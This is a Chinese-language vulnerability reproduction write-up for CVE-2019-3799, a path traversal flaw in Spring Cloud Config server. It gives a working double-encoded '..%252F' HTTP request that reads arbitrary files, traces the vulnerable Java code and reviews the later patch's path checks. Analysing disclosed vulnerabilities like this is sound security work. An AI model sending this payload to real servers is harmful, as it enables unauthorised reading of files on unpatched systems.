CVE-2019-3799spring-cloud-config 目錄穿越漏洞復現


CVE-2019-3799spring-cloud-config 目錄穿越漏洞復現

目前受影響的 Spring Cloud Config 版本:
  • Spring Cloud Config 2.1.0 ~ 2.1.1
  • Spring Cloud Config 2.0.0 ~ 2.0.3
  • Spring Cloud Config 1.4.0 ~ 1.4.5
先放 poc:
GET /aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

本地測試是在 windows 下,%252F 的數量可以根據系統和目錄的不同進行增減。

為了展示更好的利用效果,我們在 C:\Temp 目錄下建一個 1.txt,內容為 test。 發送利用代碼: 漏洞源碼下載地址: https://github.com/spring-cloud/spring-cloud-config/releases/tag/v2.1.0.RELEASE

用 IDEA 打開 spring-cloud-config-server 的目錄,spring-cloud-config 分為 server 端和 client 端,該漏洞是爆發在 server 端,所以打開的是 server 端的源碼。斷點在圖中 ResourceController.java 的 77 行。

發送 POC,發現斷點捕捉成功。

根據@RequestMapping("/{name}/{profile}/{label}/**")可知,我們的路由是符合這個 action 的。 跟蹤代碼。 這塊我們仔細講下有幾個函數下面的底層實現邏輯。

@RequestMapping("/{name}/{profile}/{label}/**")
 public String retrieve(@PathVariable String name, @PathVariable String profile,  @PathVariable String label, HttpServletRequest request,  @RequestParam(defaultValue = "true") boolean resolvePlaceholders)  throws IOException {  String path = getFilePath(request, name, profile, label);  return retrieve(name, profile, label, path, resolvePlaceholders);  } 

看下 getFilePath 的實現。

private String getFilePath(HttpServletRequest request, String name, String profile,  String label) { String stem; if(label != null ) {  stem = String.format("/%s/%s/%s/", name, profile, label); }else {  stem = String.format("/%s/%s/", name, profile); } String path = this.helper.getPathWithinApplication(request); path = path.substring(path.indexOf(stem) + stem.length()); return path; } 

直接來到 return,可以看到 IDEA 幫我們把變量的數值都已經計算出來了。通過 return 的 path 可知,這個 getFilePath 是用來獲得 POC 里 URI 路徑里的最后一段內容..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt

回到上級代碼,進入retrieve函數的實現:

synchronized String retrieve(String name, String profile, String label, String path,  boolean resolvePlaceholders) throws IOException {  if (name != null && name.contains("(_)")) {  // "(_)" is uncommon in a git repo name, but "/" cannot be matched  // by Spring MVC  name = name.replace("(_)", "/");  }  if (label != null && label.contains("(_)")) {  // "(_)" is uncommon in a git branch name, but "/" cannot be matched  // by Spring MVC  label = label.replace("(_)", "/");  }   // ensure InputStream will be closed to prevent file locks on Windows  try (InputStream is = this.resourceRepository.findOne(name, profile, label, path)  .getInputStream()) {  String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));  if (resolvePlaceholders) {  Environment environment = this.environmentRepository.findOne(name,  profile, label);  text = resolvePlaceholders(prepareEnvironment(environment), text);  }  return text;  }  } 

根據源碼可知,前兩個 if 是用來替換目錄中含有(_)/的邏輯,一個替換 name 位置,一個替換 label 位置,直接來到 try 位置。看看 IDEA 告訴我們 name 和 label 具體對應的是什么。

來到 try,可以看到這個 try 有點不太一樣,是try(){}的形式,可以查一下資料: https://blog.csdn.net/qq_33543634/article/details/80725899 可知: 簡單來說,()里的內容比 {}先執行,進入 find0ne 方法:

public synchronized Resource findOne(String application, String profile, String label,  String path) {  String[] locations = this.service.getLocations(application, profile, label).getLocations();  try {  for (int i = locations.length; i-- > 0;) {  String location = locations[i];  for (String local : getProfilePaths(profile, path)) {  Resource file = this.resourceLoader.getResource(location)  .createRelative(local);  if (file.exists() && file.isReadable()) {  return file;  }  }  }  }  catch (IOException e) {  throw new NoSuchResourceException(  "Error : " + path + ". (" + e.getMessage() + ")");  }  throw new NoSuchResourceException("Not found: " + path);  } 

來到if (file.exists() && file.isReadable()) {, 看下循環的getProfilePaths(profile, path)的內容,是個數組,數組第一個不符合要求,第二個符合我們要讀的文件內容: 循環來到第二個 local ..%2F..%2F..%2F..%2F..%2F..%2FTemp%2F1.txt 進入 if 判斷,如果文件存在,且可以 read,就會返回 file。

這時候已經把讀出來的內容復制到 text 內容返回了。

最后展示到了返回值里。 整個漏洞流程就是這么個邏輯。

我們來看下補丁是怎么打的。在 2.1.2 代碼與 2.1.0 代碼進行比較。

@Override
 public synchronized Resource findOne(String application, String profile, String label,  String path) {   if (StringUtils.hasText(path)) {  String[] locations = this.service.getLocations(application, profile, label)  .getLocations();  try {  for (int i = locations.length; i-- > 0;) {  String location = locations[i];  for (String local : getProfilePaths(profile, path)) {  if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {  Resource file = this.resourceLoader.getResource(location)  .createRelative(local);  if (file.exists() && file.isReadable()) {  return file;  }  }  }  }  }  catch (IOException e) {  throw new NoSuchResourceException(  "Error : " + path + ". (" + e.getMessage() + ")");  }  }  throw new NoSuchResourceException("Not found: " + path);  } 

多了isInvalidPathisInvalidEncodedPath,去看下這個兩個函數的源碼:

protected boolean isInvalidPath(String path) {
 if (path.contains("WEB-INF") || path.contains("META-INF")) {  if (logger.isWarnEnabled()) {  logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");  }  return true;  }  if (path.contains(":/")) {  String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);  if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {  if (logger.isWarnEnabled()) {  logger.warn(  "Path represents URL or has \"url:\" prefix: [" + path + "]");  }  return true;  }  }  if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {  if (logger.isWarnEnabled()) {  logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: ["  + path + "]");  }  return true;  }  return false;  } 
private boolean isInvalidEncodedPath(String path) {
 if (path.contains("%")) {  try {  // Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8  // chars  String decodedPath = URLDecoder.decode(path, "UTF-8");  if (isInvalidPath(decodedPath)) {  return true;  }  decodedPath = processPath(decodedPath);  if (isInvalidPath(decodedPath)) {  return true;  }  }  catch (IllegalArgumentException | UnsupportedEncodingException ex) {  // Should never happen...  }  }  return false;  } 

對一些目錄和字符串進行了過濾。

本文使用 mdnice 排版


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM